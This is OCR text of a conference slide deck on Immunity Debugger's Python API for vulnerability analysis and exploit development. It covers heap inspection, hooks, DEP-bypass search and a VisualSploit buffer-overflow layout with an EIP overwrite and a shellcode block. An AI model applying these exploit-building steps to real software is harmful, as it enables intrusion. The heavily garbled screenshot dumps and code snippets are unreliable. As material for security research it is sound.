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Who I?

Damian Gomez, Argentina
Being working (@ Immunity since early 2006

Security Research focusing on:

— Vulnerability analysis

- Exploit development

VisualSploit lead developer

Main developer of Immunity Debugger project



Introduction

An exploit may be coded 1in multiple languages:

- Asm - Pascal - zmud! - Coffee
-C - Fortran - whitespace - Clipper
- Python - Lisp - yacc - Delphi
- Perl - Brainfuck - smalltalk -B
- Shellscript - Cupid - C# - A
- PHP - Gap - C++ -C
- Cobol - Kermit - C--
- Foxpro - Java -C

- C-smile

- Cocoa



- Clist - Lingo - VisualBasic - Quickbasic

- Kalkulon - Fortress - Nemerle - Ruby

- ABC - elastiC - Objetive-C -S

- ADA -D - Phantom - Obliq

- ALF -cT - Prolog -GNU E

- Batch - AWK - Simula - COMAL
- TOM - Felix - Snobol - NetRexx
-0Z - Guile - Turing - PL/B

- Modula-3 - MCH# - Blue - Sather



etc



Immunity VisualSploit introduced a
graphical domain-specific language

for exploit development

File Hel

Immunity VisualSploit - Project: vsploit_nidemo2
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Buffer 1 - Size 650 bytes

String #1

String: A

Length: 1 bytes - Repeat String 49 times
Total Size: 49

EIP #1

Default Value: 0x74324363
type: Little Endian

Shellcode #1
Win32ThreadCallbackShellcode
Size: 592

Jump #1
Jump to: String #1
offset: -650 Size: 5

|\x00\r\n




Exploits are a functional
representation of Intelligent
Debugging

Input Crafting

Heap Analysis

Memory state
manipulation

Protocol Analysis




exploit development

e Simple, understandable interface

* Robust and powerful scripting language for
automating intelligent debugging

* Lightweight and fast debugging so as not to
corrupt our results when doing complex analysis

e Connectivity to fuzzers and other exploit
development tools



No one user interface model 1s perfect
for all exploit development situations

* These three main characteristics will help us
achieve what we want:

- GUI
— Command Line

— Scripting language



A debugger's GUI can take weeks off
the time 1t takes to write an exploit

» Easy visualization of debugee context
— Does EAX point to a string I control? Yes!

» Faster to learn for complex commands

 Downside: Slower usage than commandline due to
mice
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The command line 1s the faster option

 Example GDB commandline:
- x/1 $pc-4
 Example WinDBG commandline:
- ueip -4
 Example Immunity Debugger commandline:

- ueip -4
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Immunity Debugr's Scriptg
Language 1s Python 2.5

e Automate tasks as fast as you can think of them

* Powerful included API for manipulating the
debugger

— Need another API hook? Email
dami@immunityinc.com

e Familiar and easy to learn

e Clean and reusable code with many examples

12



GUI+CLI+Pyth0 = Faster, better

exploits
 Immunity Debugger integrates these 3 key
features to provide a vuln-dev oriented debugger

e Cuts vulnerability development time 1n half
during our testing (Immunity buffer overflow
training)

* Allows for the rapid advancement of state-of-the-
art techniques for difficult exploits

13



x|

Debug Plugins Immlib s Wi elp J

EE X Pp Il i £ emtwhoecPkobozr.. ? Want to get paid to do this? Employment opportunities with full benefits in a location that suits you....

=10l x|

€8 SBiopomt  PUSH natepad.oioniass : Sl
. notepad.
. £g Brafoaad  CATT noveped.afanrtes goamaang

OF: BB, EBH FCOEEESE ntdll.KiFast
. B2 FUSH EEX EEDmmne Fddr ]
. SB30 CCies@al MOU EDI,DWORD PTR OS: [<&KERMELSZ.GetMad BEETFFCY EPEEEEEEET pores Trmun iy’ s Heapdump $HE

. FFO7 E0

. . BEETFFFE B GEE s EHEE Dumping heap: Gr BEE 808
T e e FFEFFFFF 965058008 Flags: BXCBBERAES Forcef lags B 4BBEEEES
. NN TCRIETIE ntdl L. FCI1EVY GuEERIEEHE Total Free Size: BuEEEAG2df UlrtualHemDrgThresthd: Gt ASEEF e
L EB4g =0 HOL ECH, DWORD PTR DS: [EAR+5C] aroaasnoan z Free Slec: G000
. BECE AOD ECY,EAR 1087330 novepad. (Hodf 9220000000 Seqnentlols O:000 } -
. £135 cedceEee CHP DWORD PTR OS:[ECHI, 4556 Zobit BIFFFFQ o oaooaens reeListInlse
EEESEL s PHz o SHORT notepad.BLAACSOA o1 F 22bit BIFFFFY GnoaRaa17s (6061  GuABGsA17E BuBB0aTIcS | DHBBBar9ol
© SR EBGiGEen  CHP Eaw e : 32bit BIFFFFN G:oBRar St e BBE0a810E | O:EE0sElrs
- 50 o R 22bit BIFFFFN Gneanaa1ca (6811  GuBBRAA156 BuBB0aR156 | GHBBEESA1SE
LN BEecoomm  CHP BN 2BE ; 32bit PFFOFB G:omaa0l s [002] Guoooaaiss GuBE0aZebE | OnBEGadrES
- 20 e SHDRT P epad. BLEETA0F RLL 01 0B0=4 76D B BED4TES OuBP0AE1SS | DHBEEsZebE
Y Goeh E4 MouDHORD BT 2E: TERP- 0], BB 91 A0 2 ek BrBEDaZehE BB00a4TES | OMBOODSE1SS
. SHORT nonepad. Bioarant ity EAEEEREES PO Bhbaglas o [ bubbbaniss | Guanbanlds
5563 sqpoEEme DWORD PTR DS: [ECH+541, 0E BBEABZ4E (MO, HE,E,EBE, § BrEaAa =0 =080 H B00
1 SE0Es SHORT novepad. BIAS30R o B B30 195 B BEEa6 1 95 peggnscogs | @xpppscey

asce QOF EA. EAW UMORM BECS @109 fu:aa0acna2e GnREEAGHSE B BEEaA155
. 2999 Foopoane OWORD PTR DS:[ECH+FS1, EEX EMPEY . G EEEaE1 20 e B 2] 20 By BEEAE 1 58 SHSSSES{ES
H =l k=1

5]
L enpty . BxAARaE] a2 BrAREaA]1 22 BrBAERaE] 52
SHORT notepad.@10874600 g_ G BE0 26 1 66
=]
i

7 : Empty 1 B2 1 bE B BEE 0 1 £ BB 61 B
2 EETELTHEE LR R T D LAl e enpty 81 EBA5810S B BBESA16S BHgEASBIGE | GuBDBSAILE
& =l =]

Jzca 20R ERX. EAX R gugggag%cg gagggagicg SagggaS%cg GrEREaR1CS

- £ . EMpLY O | ] El =t £ El =l £ El =l £ El sl
N £399 ESOBOAEE gE$ ENDRD FTR OS: [ECH+ERT, EEX RN Bis0p01d8 BB00301 35 o030 1o

. 5945 E4 AU OWORD FTR S5: CEEF-101, EAX (it W N EEoETs

: -1cl, 4828 Cond 1 @ 8 @ Ef Gueo0azaes A ARG aZact B BERaE1 dS

7 s FC HhiyCgRRn PR S5 [EER-41, EBR G27F  Frec NEAR,53 MY ouo@as@iea B BB aE 1 =8 £ BBE A1 =0

[k
. \ BrBEARaE1ed AxBEEaA1eS BxABRaRled
2120081 Eo OWORD PTR DE:[<&msvort.__set_app_t: SHSSSES%ES SHSSSES{ES S”SSSES{ﬁg
. H 5 H El H B
Aonoooal OF DUORD PTR_DS: 1 BBABAGT, FFFFFFrE 2008 30200 Gua00anza0 —> [ Guaooagzan
F . B AERsE2A3 B A8E R0 AxBERaE2EE
54138081 OWORD FTR DS [<dmsuvocrt. _p frodel

EEaEa210 Gy AEE 8210 BrEEEaE210
ES9REEE1 MOU ECH, OWORD PTR DS: [18@3AES]
MOl OWORD FTR OS:CEART. ECH BxERRsEz12 BREEEaE212 BxEERaRz12

]
20130001 A Tt P B B SEEG et I S 2 B BERSEEED

[<hme
R BERSEZEE BRBEEAEZES G BEREZES

ZEEEEELER ECYL, DUORD PR, DS3 [ 1BB5REAT
GUGED PTR DS:CERL] ECD B B SGE S0 et I S S B BBRSEC S0

. 8988 il
i . G EE058232 Gx B0 28235 388028238
- Bl gkisemal EE§ DwORD PR DS: Eéﬁﬂ?”crt —adiust_ Gt DEREEZ 46 EE G5 OBAEE 46
. A2 R4AEPDE1 ORD PTR OS: [ 188AEA4], EAX B EERaE242 B @EEa@242 EnBEEaE242
. EZ A7R1e00E notepad B1EETEF4 BHBERSEZE0 EN Rt e )
F310 AS9Eama1 OWORD FTR OS:[18@96@S1, EEX SHSSSEBEES Gy BEE aHZER B BERAEZES
v?5 ac SHORT notepad. 31887461 = BHRSAZEE G BOE SE2E0 B BAE2AZE0
63 F4758881  PUSH notepad, 8108754 i A BEA3E2ES [Er e e et Gy BAGAAZES
. FFIE Z&158@@1 OWORD FTR DS: [<&msucrt . setuserma S”SSSESE;S S”SSSESE;S S“SSSESE;S
3 B2 PoP ECx 1 0AEA0ELE 04 B0 AEEEn D0 2050
] E% loobmoai  PUSH hotenad.niomonin 21Ba0a05ES BrBBaRZ08 —5 [ GuboosHZEs
. A2 AC9ABRGEAE1 PUSH notepad.BlB809660 B BERaE2 28 B @88 aB298 ExBEEaE2 98
. EZ cORle@cm £ JMP. Bmevcrt . Lnitherm BHBARaA293 BrA88aB298 AHBERaE2SS
. Al BE9ABEO1 0U EAX,DWORD PTR DSt [ 1669A6a] SHBBBEBEEB G BIEE 22 20 B BERSEE 36
. 29E OC mou OWORD FTR S5:[EEP-241, EAX +EE0SE2 52 e lal T el AxARASAZSE
. 2045 OC LEA ERX,DOWORD FTR SS:[EEP-241 AxBa0s620E B @80 abzZbE AxBEaa820E

ELSH B

G @A 281 dE
B EEEs22=0
G A0 A1 43
G EEg a8l el
BrAREaEled
GnEEgaal e
BrAAEaE1f3
G EEE B2 08
BxAEE 0288
By E@E0 8210
BrEABEsR212
Gin ARG 28226
G G 8222
Gn AAE 23228
G BEE 28222
Gin ARG 23245
Gy EEE gE2 42
BrEEEsA258
Gy EEE B2 E 2
Bx AR sR26E
G ARG 2262
B EEEs027E
G ARG 2827 3
G G 28208
G AAE 23222
G G 28208
G ARG 23298
Gy EEE g2 a8
BHEEEsE22E
Gy @80 2825

LT T T T T T L TR P T S T T TS T PR VA T P VA T T TR I TR P I TR TR

TrF1E888  [Modu [=
FrREEEEE | [Modu L=
TCEAEA0E  Modu L=
FLOBEEEE [Modu L=
TLACAEAE Modu Le
ECEFEEEE [odu L=
GF32@8888  Modu Le
TEE4E@DE | [odu L=
Fr4EEERE Modu Le
Fr1ZE@88 [Modu L=
FPEEEEBE [odu L=

Maodu Lz

Modu Le
SADFEAEE  [Modu L=
FESIEEEE [Modu L=
E2ACABAE Modu Le

SWTHOOWS 2pstema2~G0I232. 1L
SWIHOOWS-swstem32~SHLWARPT. d
=WIHDOWS s stem32-kerne 132,
SWIHODOWS - sustemZ2wntdll.dlL
SWIHDOWS~swstem32~5HELLZ2. d
SWIHOOWSswstem32~Eh imEng. d
~WIMDDWS~AppPatch~HeGenral .
UIHDENE s s penas . a1 . Import | KERNELSZ.Getlosalelnfoll
~WINOOWS sy stem3Z OLEALTSZ. Import | KERNEL3Z. GetlocalTine
. Import | mevort.  getmainargs
SWIHOOWS sustem32~MSACHZ2.
~WIHOOWE 2y st enm3Z-UERS 10H. : Import | USERSE. Hetllenu
SWIHDOWS sy st emI2 ~USERENU. . Import USER32. GetMenusState
~WIHDOWE 2y stem3Z Ui Theme . d : Import | LISERSE. Betllessaasll
SWIHOOWSsustemI2~ IMM22. OLL . Import | KERMEL32. GetModuleHandlen
SWINHDOWS 2pstem32~LPK. DLL - %mnort GDIE% ggtnggcth_l —
74098888 | Modu e C:~WINDOWS-susten32-USF1a. dl1 . Impcr | Gopaige. Betinenkiletans
B1BEFIO0 Program entry point Ine | WIREPEAL BecPeinterD "
Error: A proper heap needs to be defined Inpor KERNELZZ. GE Prl“nsg i uer
#i# Immun ity s Heapdump #i# - mport SthrocAddress
ARERGEEEE N B Import comd Lg32, GetSaveF i LeMamell
A6 1A0EEE B B0 1 2BEGEE B Import KERHELSZ. GetStartupInfof
A6 1EBOOG A A0 1 LOBBE . Import GDI32, GetStockObject
AEIERHEE B BOSLEEEE . Import USERZZ2. Get SublMenu
ARSCHRRE A AR SCAREE . Import | USERSZ2.GetSvsterMenu
BEIEDHRE N B Import USER32.GetSysterMetr ics
ARESEEEE e B Import KERMELZ2Z2. GetSystenT ineHsFileTine
BESSHEEE A BESSEAED GlaE1asc . Impor-t GOI32.GetTextErtentPoint 32l

BESSEEEaE BxEES2EEEE n
AEAISEAAR iy AR S 2AAGEE

theap 0x000a0000

H 0 durmped F
Immunity debugger running a custom script from its command box and

controlling the GUI output

[xlylylylelylelylelylwlylelylylyly




“

The Immunity ugger API:
The API 1s simple

It usually maintains a cache of the requested
structures to speed up the experience (especially
useful for search functions)

It can not only perform debugging tasks, but also
interact with the current GUI

Keep 1in mind that you are creating a new instance on
every command run, so the information in 1t will be
regenerated on each run.

15



How deep can we dive with the API?

Assembly/Disassembly
Breakpoints
Read/Write Memory
Searching

Execution and stepping
Analysis

Interaction with GUI

16



Interacting Witthe GUI ofer:

 New custom windows for displaying your data
e Tables, Dialog boxes, Input dialogs

— Create a wizard for complex scripts like findantidep

e Add functionality to already existent windows

* The possibility to create a python based

orthogonal drawing algorithm and get something
like this:

17



h of _Decodeascii (0x420f9c0)

& X

MOV EDX, DWORD PTR SS5:[EBP+C]
MOV BYTE FTR DS:[EDX+EAX],0
CWMP DWORD PTR S5:[EBP+10],5
JGE SHORT Immunity. 0040F3E4

EB34 ntdll.KiFa:
"F FOEEEEA

4015dd:
XOR EAX EAX
JWMP Immunity.0040FBE4

40f3es:

CKMP DWORD PTR S5:[EBP+8],0
JNZ SHORT Immunity. 0040FALDE

40fals:
MOV ECX DWORD PTR S5:[EBP+8]
PUSH ECX
CALL Immunity._Findmemory
POP ECX
TEST EAX EAX
JE SHORT Immunity. 0040FA37

!

4lfbed:
POPEDI
POPESI
POPEBX
MOV ESP EBP
PCPEBP
RETN

40f3ea:

CMP DWORD FTR SS:[EBP+14],1
JE SHORT Immunity 0040F A06

|

401510

PUSH EDX

PUSH Immunity. 004ES35E
MO EDX,DWORD PTR SS:[EBP+C]



Immlib: R/W Memory

e readMemory (address, size)

e readlLong (address)

e readShort (address)

e readString (address)

e readUntil (address, ending char)

e writeMemory (address, buf)

19



Immlib: Searching

* The following search functions return a list of

addresses where a particular value was
found.

e Search (buf)
e searchlLong (long 1nt)

e searchShort (short int)

20



Immlib: Searching
» Searching Commands

« Commands are sequence of asm instruction
with a bit of regexp support

— searchCommands (cmd)

- SearchCommandsonModule (address, cmd)

* Returns a list of (address, opcodes, module)
o &X.
imm.searchCommands (Ypop RA\npop

RB\nret”) .



Immlib: Searching

« Keep in mind, that SearchCommands use
the disassemble modules to search, so if you
want a deeper search (without regexp) you

can do:

ret = 1mm.Search (imm.Assemble ("Jmp EBX"))

22



Immlib: Searching

* Finding a module which an address belongs
to:

— findModule (address)

* Finding exported function on loaded
addresses

— findDependencies (lookfor)

Note: lookfor is a table of functions to search for

23



Immlib: Getting References
» Getting Code XREF:

- getXrefTo (address)

— getXrefFrom(address)

» Getting Data XREF

— findDataRef (address)

24



Immlib: Kledge

» Since every run of a script is ephemeral,
there is a way to save some data and use it
on a second run of the same script or any
other script:

- 1mm.addKnowledge (“nocrash”, cpu context)

- 1mm.getKnowledge (Ynocrash”)

25



There are three ways to script
Immunity Debugger
 PyCommands
 PyHooks
e PyScripts

26



PyCommands are temporary scripts

* Decrease developing and debugging time

e Non-caching (run , modify, and re-run your
PyCommand at will, without restarting the
debugger)

e Accessible via command box, or GUI

e Integrate with debugger's features (including the
GUI)

27
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Scripting Immuity Debugger

 Writing a PyCommand is easy

e command.py
import immlib
def main (args) :
imm=1mmli1b.Debugger ()

imm.Log (YDone”)

* Place it into PyCommands directory and you
are ready to go

28



PyHooks:

Hooks are Objects that hang on debugger
events and get executed when that event is

hit.

We have 11 different hooks:

class
class
class
class
class
class

BpHook (Hook)

LogBpHook (Hook)
AllExceptHook (Hook)
PostAnalysisHook (Hook)
AccessViolationHook (Hooks
LoadDLLHook (Hook)

Scripting Immu Debugr

class
class
class
class
class

UnloadDLLHook (Hook)
CreateThreadHook (Hook
ExitThreadHook (Hook)
CreateProcessHook (Hoo
ExitProcessHook (Hook)

29



Scripting Immunity Debugger

Creating a Hook is easy:
import immlib
from 1immlib import PostAnalysisHook
class MyOwnHook (PostAnalysisHook):
def 1init (self):
PostAnalysisHook. 1init (self)
def run(self,regs):
el e wall B
happens"""
imm = immlib.Debugger ()

ecuted when hooktype

RN
Hooks always

have CPU context
at runtime

30




Identify common coding problems by
running a program under Immunity
Debugger

 strncpy(dest, src, strlen(src))
— Common vulnerability primitive

e Similar vulnerabilities, such as memcpy(dest, src,
sizeof(src)) are also detectable using slightly
more advanced Immunity Debugger API's

31



Hook example: loint on stcpy

* |nstantiate debugger class

» Set logpoint address [strncpy]
* Create logbphook

def main():
1mm = 1mmlib.Debugger ()
bp address=0x32772DDC # strncpy
logbp hook = MyOwnHook ()
logbp hook.add("bp on strncpy”,bp address)
1mm.Log ("Placed strncpy hook: bp on strncpy")

32
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Hook example: loint on stcpy

 The MyOwnHook class
class MyOwnHook (LogBpHook) :
def init (self):
LogBpHook. init (self)/  Get |
arguments

def run(self,regs): ﬁigiég?J
1mm = 1mmlib.Debugger () ;Z>////
src = regs['ESP'] + 0x8 #strncpy second arg
maxlen = regs['ESP'] + 0Oxc #strncpy third arg
res=1mm.readMemory(src, 4)
leng=1mm.readMemory (maxlen,4)

33



logpoint on strncpy (continuaion)

#read src arg
readed=imm.readString(src addr)
imm.Log ("strncpy source: %s" %readed)
if len(readed) == int(size):
imm.Log ("*** STACK ***'")
callstack=imm.callStack() as the src String S1Ze
for a in callstack: %
imm.Log ("Address: %08x - Stack: %08x - \
Procedure: %s - frame: %08x - called from: %08x"
% (a.address,a.stack,a.procedure,a.frame,a.calledfrom))

\

Log callstack 1f the
size arg 1s the same

34



Logpoint on strncpy: result
debug,debug,debug and check your results:

Flaced stenopy hooks bp_on_stencpy
stIncpy sourcer testo

M STACK

Address: BAL2FFER - Stacks BA4B1196 - Procedure: CJMP.ACCIZ7ANT, _stencpyy - framer BB12#f8c - called fron: BBdE1190
Address: BRI2FEEC - Stacks BA1ZFFER - Procedure:  dest = BOIAFFRR - frame: BRI2FF8c - called from: BR4A119]
Address: BAIAFFRR - Stack: BA4A200d - Procedure:  <rc = "testo” - frames BO12FF3c - called froms BA4A119]

Address: BA12fFfed - Stack: DEBBOHES - Procedure:  mawlen = 5 - framer BB12#f8c - called fron: BRdA1191

stencpy soupcer |ogophook(stencpy)

SEINCPY SONDCES On

M STACK

Address: BAL2FFER - Stacks B84B110c - Procedyres CJMP.ACCIZPANT, _stencpyy - framer BB12FF8c - called fron: BBda11b7
Address: BRI2FFEC - Stacks BA12FF7d - Procedures  dest = BALIZFFID - frame: BRI2FF0 - called froms BO4E110/7
Address: BA1AFFRR - Stack: BA4A28cd - Procedure:  <rc = "on™ - frame: BA12FF80 - called from: GA4B110/7
Address: BA12fFfed - Stack: DOBBOAEZ - Procedure:  mawlen = 2 - framer BB12#f8c - called fron: BBdA1107



Injecting a hook 1nto your target for
debugging
Logging hook

Much faster, since it doesn't use the debugger
Inject ASM code into debugged process
Hooked function redirects to your asm code
The information is logged in the same page
Used in hippie heap analysis tool

36



There are drawbacks to using
injection hooking

* Inject Hooking only reports the result, you
cannot do conditionals on it (for now)

* Hooking on Functions:

fast = 1mmlib.STDCALLFastLogHook( imm )
fast.logFunction( 0x1006868, 3)
fast.logRegister('EAX'")
fast.logFunction¢ 01003232 )
fast.Hook ()

imm.addKnowledge (Name, fast)
37



Printing the results of an injection
hook

» Get the results directly from the log window

fast = imm.getKnowledge( Name )
ret = fast.getAllLog()
for ndx in ret:
1f ndx[0] == 0x1006868:
imm.Log (“0x1006868 (%x, %x, %x) <- %x"\
s (a[l][0], alll[l], all]ll2], all][3]))

38



Heap analysis 15 one of the most
important tasks for exploit
development

Printing the state of a heap

Closely examining a heap or heap chunk

Saving and restoring heap state for comparison
Visualizing the heap
Automatically analyzing the heap

39



» Getting all current heaps:

for hndx 1in imm.getHeapsAddress () :

imm.Log ("Heap: 0x3%08x" % hndx)
» Getting a Heap object
pheap = imm.getHeap( heap )
* Printing the FreelList

pheap.printFreelist ( uselog = window.Log )

* Printing the FreeListinUse

pheap.printFreelistInUse (uselog = window.Loq) "



OLU'R R 3

Immunity Debuer Heap Lib

* Printing chunks

for chunk in pheap.getChunks( chunkaddress ):

chunk.printchunk (uselog = window.Log,
option=chunkdisplay,
dt=discover)

* Accessing chunk information

chunk.size #packed size (usize unpacked)
hunk.psize #packed size (upsize unpacked)
hunk.flags

hunk.nextchunk # FLINK

hunk.prevchunk # BLINK

O 0O 0 O

41



Immunity Debuer Heap Lib
e Searching Chunks

SearchHeap (1mm, what, action, value, heap =
heap, option = chunkdisplay)

what (size,uslze,psize,upsize, flags, address,
next,prev)

action (=,>,<,>=,<=,&,not, !=)
value (value to search for)

heap (optional: filter the search by heap)

42



Datatype Divery Lib

* Finding datatype on memory

import libdatatype
dt = libdatatype.DataTypes( imm )
ret = dt.Discover( memory, address, what)

memory memory to 1nspect
address address of the inspected memory
what (all, poilinters, strings,

ascllistrings, unicodestrings,
doublelinkedlists, exploitable)

for obj in ret:
print ret.Print ()
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* Types of pointers
import libdatatype

dt
ret
for

= libdatatype.DataTypes( 1mm )

= dt.Discover( memory, address, what='pointer')

obj in ret:

print ret.isFunctionPointer ()
print ret.isCommonPointer ()
print ret.isDataPointer ()
print ret.isStackPolnter()

44



STICK HIPPIE

PYCOMMANDS

PYHOOKS

PYSCRIPTS

Coast to coast

PYTHON API

ANALYSE
FUZZ
SEARCH
DISCOVER
UNDERSTAND
SPEED
GRAPH

Q

1D

EXPLOIT
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 Team Immunity has being coding scripts for :

- Vulnerability development

- Heap

- Analysis

- Protocols

- Search/Find/Compare Memory
- Hooking

46



Script: Sseh

° Safeseh Bl=TE

Modu Le Handler

- Shows you all the exception handlers
In a process that are registered with
SafeSEH.

- Code snip:

if LOG HANDLER3=True:
for 1 in renge(3ehlistaize):
sehaddress=atruct.unpack('<L',imm. readdemory (sehlistaddress+dsi, i) [0]
3ehaddress+=mzbase
table.add(3ehaddress, [key, '(x308x" % (3ehaddress)])
imm, Log('0x%08x" % (3ehaddress) )
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Script: Find anti DEP
* Findantidep

- Find address to bypass software DEP
- A wizard will guide you through the execution of

the findantidep script

OxBad?21de: C:NWINDOWS vepstemnd2i U« T heme. dll

Insert the Asm code to search for

Ox77RdfRas: CiwINDOWS aystem32hole 32 dl
Ox77edadbb: CAWINDDWS eyetern32WRPCAT 4.dI o

L)

04762434 70; C:AWINDOWShspstemIZAUSERENY.dI j

pppppp

. Get th result

21 d DB F e B

g3

491

i faffuffuf " + "R BiGd +

mefha2 e 9dsa e + shellcode

findantidep
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Finding memory leaks magically

e leaksniff

- Pick a function
- lfunsniff function
- Fuzz function

- Get the leaks

Address

Bx70a946063
Bx7808081532
Bx77F8e6b0
Bx77F8e6b?
Bx7cSB8dchHy
Bx76bB1989
Bx7obA1c A6
Bx7obA1cab
Bx7ob81c18
Bx7abB1c1S
Bx76bBicia
B=77F8F134
Bx77/Ff83F134
Bx7obB81bea
Bx7¥6a946208
Bx70a94628
Bx70a94628
Bx000006068
Bx7abBicia
Bx00AABABA
Bx780881532
Bx80236fbB
Bx88236fbB
BxB80236FhE

Data

Free (OxB808c50808,
Alloc{@x@082300008,
Alloc{@xA0B7 00060,
Alloc{@xA0B7 00008,
Alloc{@x@087 60008,
Free {(Ox00870000,
Free {(OxB00700008,
Free {(Bx00B8700608,
Free {(Ox@0870000,
Free {Ox0008700008,
Free {(Ox00070000,
Free {Bx008700008,
Free {(Ox@08700008,
Free {(Ox008230000,
Free (Bx808c50008,
Free (BxB8c5A000,
Free (BxB8c50000,

Chunk freed but not allocated

Free (Ox008700808,
Memleak detected

gx 80000000,
gx 800000800,
Gx00000008,
dxB0000088,
gxB0010008868,
gx 80000860,
GxB800000060,
gx800800068,
gx000000068,
gx 8080000800,
gx 000000800,
gxB800000088,
gx00000068,
gx 80000800,
Ox 000000800,
gx800000868,
gx000000068,

Ox 000000800,

8= 08c58db8)
Bx 08000880)
Az B0000020)
8z B80080208)
gxB0808881c)
0= 08093888)
AxB0000000)
Az B0000000)
gxB0000008)
8= 08000000)
B 0B8000080)
Az B800893860)
8x888bfced)
B 08236F30)
B 068c55098)
Az B80c58d8A)
8x88c58b6A)

-» BxB80236F38
-» Bz808bfced
—-» Bz888938680
—-> Bx 800093888

on this heap flow

B 0B8000000)

Alloc(8x80230000, O0x00000000, Bx00008118) -> Bx00236fb8

BxB80236FbB> size:
heap:

» String:

0x 00006118

{B823)

*0x00000000=

flags:

prevsize: Bx0000ai
Gx800001
' ;HoCacheCCCCCCCCCCCCCCCCCCCCCCCCCCCCOCCCCCCOOCET




» finddatatype o e
- Specify an address Ly  mi '
~ Set the size to read
- Get a list of data types

0Jl: 2TrLhg: I IJIII' e

i!finddﬂtaiypﬂ 0x10001000 500
Found: 17 data tupes
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- Give
address

Dumping the heap

 Heap pycommand

Heap dump 000020000

Address

BxAidaiedB
BxBidaledc
BxBddaie?c
BxBBBa3f3n
BxBBBa3f3n
BxBBBaIf 38
BxBiBadB48

Chunks
» Pointer:
*» Function

» Pointer:
BxBAAAa3f3Ifa >

AxAA3aPBBEA in AxBA3aB08AH |

Pointer:: Bx?c8130le in kernel32C:~WINDOWS“systemdZ2-kernel3d2_dlli.text

BxAAdaiead in BxAABaBEAA |

size:

AxABAAA118

<Ba21>

prevsize:

heap: =AxAHaBAAA = flags:

» Unicode: *‘High Contrast Black {(largel '

AxAAAa4848 >

gize:

AxARAAAAL 8

(a@a1f>

prevsize:

AxAAABAREE (A01f
AxAaeaeRAY? (BIiEIFP>

AxAAAAA118 (AA23 >

BxBBBadB48
BxBBBadB58
BxHiHa485c
BxBddadBac
BxBBBadBhLE
BxBBBad1 48
BxBidad1 4c
BxBBBad158
BxBBBadi 40 a

heap: *AxBHaBBBE =
Pointer: BxBA37000A in BxBE3700080 |
Function Pointer:: BxP7c8138le in kerneld2C:“WIHDOWS“system32:kernel32._dlli.text
Pointer: BxBA0ad4@8bA in BxAAAaA08A
Pointer: BxB00a4778 in BxB0028080008 |
Pointer: BxBA1fABAT7 in BxB01eB00080 ;
Data Pointer:: BxYchcebdd in SHELL32!.data
Double Linked List: ¢ OxAB@8a4188, BxAA0a3deg >
WlBad41408> zize: UxAAREEA3E JC(BAAY> prevszize: BxBPBHBARLE (AALf >

flags: AxA00080@°Y (BIEIFP>

- Dump it

BxBBBad1 48
BxBidad1 4c
BxBBBad158
BxBBBad178
BxBBBad184
BxBBBad188
BxBBBad1bhi
BxBidad1 bo
BxAddad1icH
BxHidadiel
BxBBBadif4
BxBBBadif8
BxBBBadz228
BxBiHad422c
BxBBBad238
BxBBBad178
BxBBBad1'78
BxBBBadi84
BxPBiBad188
BxBBBadibi
BxBddad1 bc
BxBBBadibi
BxBBBad1bhi

Pointer:

Pointer:

Pointer:

Pointer:

S S g g g g S S g gt g L g e e e

BxH8@a4178 >

heap:

Data Pointer::
Doubhle Linked List:

*AxBiHaBBBE =
Bx?chcebd4 in SHELL3Z2 ! .data
¢ BxBBBad4188.

AxA887ERAY in BxBEB40H8AH |

Double Linked List:

AxA8A7AAAY in AxBAB4AEAA |

¢ BxPAAAad1f8,

AxA887ERAY in BxBEB40H8AH |

Data Pointer::
Double Linked List:

AxA8A7AAAY in AxBAB4AAAA |

Data Pointer::
Double Linked List:

size:
heap:

AxHBAAAA3E

*xAHBaBAA =

<Baa7?>

flags:

AxABAa3d6s

Data Pointer:: BxPchcebbhc in SHELL3Z!.data
{ BxBABadicH, BxBABBa4150@

Data Pointer:: BxPchce?B8 in SHELL3Z2!.data
Doubhle Linked List: BxAPdad4188
Bx7chcd5%aB in SHELL3Z ! .data

{ BxBABad4230, BxBBBad4ich

BxPchcebfB in SHELL3Z2!.data

¢ BxAARa4268,. AxBARa41f8 >

prevsize:
flags:

*» Data Pointer:: BxYchcebbe in SHELL32 ! .data

» Doubhle Linked List:

*» Pointer:

BxH8H@a41 hA >

AxAAAYARAY in BxABB40000 |
*» Data Pointer:: BxYchce?B8 in SHELL32!.data

size:
heap:

AxHBAAAA3E

*xAHAaAAA =

<Baa7?>

¢ BxBABadlicA, AxBABa4156 >

prevsize:
flags:

AxAaeaeRAY? (BIiEIFP>

AxAAAAAAIE (ABAY >
AxAaeaeRAY? (BIiEIFP>

AxAAAAAAIE (ABAY >
AxAAAEAAY? (BIiEIFP>




Script : Chunk analyze

» chunkanalyzehook

lchunkanalyzehook -a addr_of rep _mov EDI-8
Run the script and fuzz

Get the result (aka, see what of your command on the
fuzzing get you a overwrite of a Function Ptr or Double

Linked list T lgdae

Address |HMessage
FLAVEUEY | 'TUUULE LoAaWIAMIASYSLENS S WHUVHP LGS UPLL

| 7C3408808 | Module C:\WINNT\system32\SECUR32.DLL

7CHEABAD Hodule CoWWINHTAWsSystem323HERHEL3Z.d1l

F7FA144B | Attached process paused at ntdll.DbgBreakPoint
Expression: ['EDI*, '-", '8"]
Hooking on expression: ‘['EDI*, °"-°, &]°
Thread 80800434 terminated, exit code @
Thread 8888846C terminated, exit code 8

@BC59688| > Hit Hook Bx76a57cic, checking chunk: 8xB88c596088

BACS9600 OxBOAcS06500> size: 8x08000808218 (08042) prevsize: Ox00000038 (@0687)
AACS 92680 heap: *[{x 000000 0= flags: ABx00880881 (B)
BOC59810| B:00c598108> size: 8xA080087F8 (B08Fe) prevsize: BxB0000218 {(0042)
aacs2818 heap: *A=x 0000000 flags: gxfooeaa1a (F|T)
aBcL-os81a next: BxB8Bc57 498 prev: BxB@0c50178
FFFCCA663 | Access wiolation when writing to [42424242

Ichunkanalizehook -a 0x76a57clc EDI - 8




Script : Get RPC
e getrpc

- lgetrpc module.dll

— Access to RPC information
- Functions Pointers of every RPC call

769CABBA HPC SERUER IWNTERFACE find at: Bx767cadBi
RPC UUID: 326731e3-—clcB—4ab?-ae2B-"?d?844adeabc (vl. 8>
P69CCYPPA | Function[B1: Bx76%cc?fA@
P69CC21B | Functionl[i]1: Bx76%cc2ih
P6A1D1IAS | Functionl[2]1: Bx76aldiBs
P69CC43B | Functionl[3]: Bx76%cc4d3b
P6A162CY | Functionl[4]: Bx76al62c?
P6A166M | Function[5]: Bx76al6h?i
POAGIAEC | Function pointer [B1: Bx76%chfdd
P6AG1IAFA | Function pointer [11: Bx76%chfdd
76A61AF4 |Function pointer [21: Bx769chfdd
7oAB1AFE Function pointer [31: Bx767chfdd
P6AB1IAFC Function pointer [41: Bx767chfdd
